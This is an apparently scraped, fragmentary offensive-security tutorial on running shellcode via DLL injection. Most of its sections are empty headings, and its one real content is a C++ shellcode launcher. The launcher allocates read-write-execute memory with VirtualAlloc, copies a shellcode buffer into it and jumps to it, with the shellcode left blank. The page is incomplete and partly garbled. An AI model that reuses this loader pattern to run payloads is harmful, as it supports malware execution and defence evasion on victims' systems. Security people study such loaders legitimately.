Execute Shellcode Launcher with Dll Injection
Objective
Ok but why ?
Shellcode Launcher
C++: Shellcode Launcher#include <string>
#include <windows.h>
int main(){
char shellcode[] = ""; //shellcode
void *memPtr= VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //yer ayir
memcpy(memPtr, shellcode, sizeof shellcode); //bellege shellcodeu yerlestir
((void(*)())memPtr)(); //shellcodeu aktive et
}DLL Injector
C++: Dll InjectionAction and Results


Last updated